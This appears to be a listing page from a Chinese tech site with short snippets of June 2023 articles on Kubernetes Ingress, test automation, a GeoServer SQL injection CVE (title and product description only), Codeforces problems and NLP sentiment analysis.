    一、常見的生產故障有哪些？ 在生產環境中，常見的故障型別包括但不限于以下幾種： 網路故障：網路故障可能包括網路連接中斷、網路延遲過高、路由錯誤等。這可能導致系統無法正常訪問外部資源，或導致應用程式無法與其他系統進行通信。 服務器故障：服務器故障可能包括硬體故障、作業系統崩潰、服務崩潰等。這可能導致系 ......

    uj5u.com 2023-06-22 08:15:47 more
  • Kubernetes Ingress 之 Nginx Ingress

    一. 引言 k8s 提供了一下四種方式來暴露埠，分別是： ClusterIP, 僅供集群內部訪問 NodePort，埠映射，給node隨機分配埠，然后由service進行代理 LoadBalancer, 負載均衡模式，一般由云服務商提供負載均衡策略 Ingress，網關模式，使用自定義的htt ......

    uj5u.com 2023-06-22 07:57:26 more
  • 自動化平臺總結(httprunner+djangorestframework+python3+Mysql+

    一、前言 最近從零搭建了一個自動化測驗平臺，雖然不是第一次從零搭建，但是也從來沒有進行過這類搭建的總結，還是記錄一下，搭建程序中的一些問題和方法。方便以后總結和翻閱 二、簡介 搭建的平臺語言使用的是Python3.6，未來有空可能考慮加個java版本。前端用的Vue，主體是httprunner2.X ......

    uj5u.com 2023-06-22 07:57:20 more
  • 淺析GeoServer CVE-2023-25157 SQL注入

    GeoServer是一個開源的地圖服務器，它是遵循OpenGIS Web服務器規范的J2EE實作，通過它可以方便的將地圖資料發布為地圖服務，實作地理空間資料在用戶之間的共享。 ......

    uj5u.com 2023-06-22 07:57:05 more
  • 發力電子后視鏡CMS，芯驛電子與映賽科技達成戰略合作

    近日，芯驛電子科技（上海）有限公司與上海映賽電子科技有限公司正式簽署戰略合作協議，宣布將攜手推進電子后視鏡產品設計、研發與服務，雙方將發揮優勢資源，持續推進合作深度，助力國內電子后視鏡產業快速發展。映賽科技創始人屠江平、芯驛電子總經理馬瑞出席儀式。 ......

    uj5u.com 2023-06-22 07:56:37 more
  • 花2個月時間整理了3.5W字的自動化測驗面試題（答案+學習路線）！為了找

    從5月初開始找作業到現在，先后面試了阿里巴巴、位元組跳動、網易、快手的測驗開發崗。大公司對于測驗開發的要求相比來說高很多，要求掌握的知識點的廣度和深度層次也比較高，遂整理了這兩個月的面試題目檔案供大家參考，同時也是為了方便以后自己需要的時候刷一刷，不用再去到處找題。希望大家都能找到滿意的作業，共勉之！ ......

    uj5u.com 2023-06-22 07:56:27 more
  • Codeforces Round 881 (Div. 3)

    ## [A - Sasha and Array Coloring (CF1843 A)](https://codeforces.com/contest/1843/problem/A) ### 題目大意 給定一個陣列，給每個元素涂色。求最大的代價。 代價為每個顏色的代價和。 每個顏色的代價為涂了該顏色 ......

    uj5u.com 2023-06-22 07:56:21 more
  • 自然語言處理 Paddle NLP - 情感分析技術及應用SKEP-實踐

    ## Part A. 情感分析任務 眾所周知，人類自然語言中包含了豐富的情感色彩：表達人的情緒（如悲傷、快樂）、表達人的心情（如倦怠、憂郁）、表達人的喜好（如喜歡、討厭）、表達人的個性特征和表達人的立場等等。情感分析在商品喜好、消費決策、輿情分析等場景中均有應用。利用機器自動分析這些情感傾向，不但有 ......

    uj5u.com 2023-06-22 07:56:15 more

Copyright © 2010-2020 有解無憂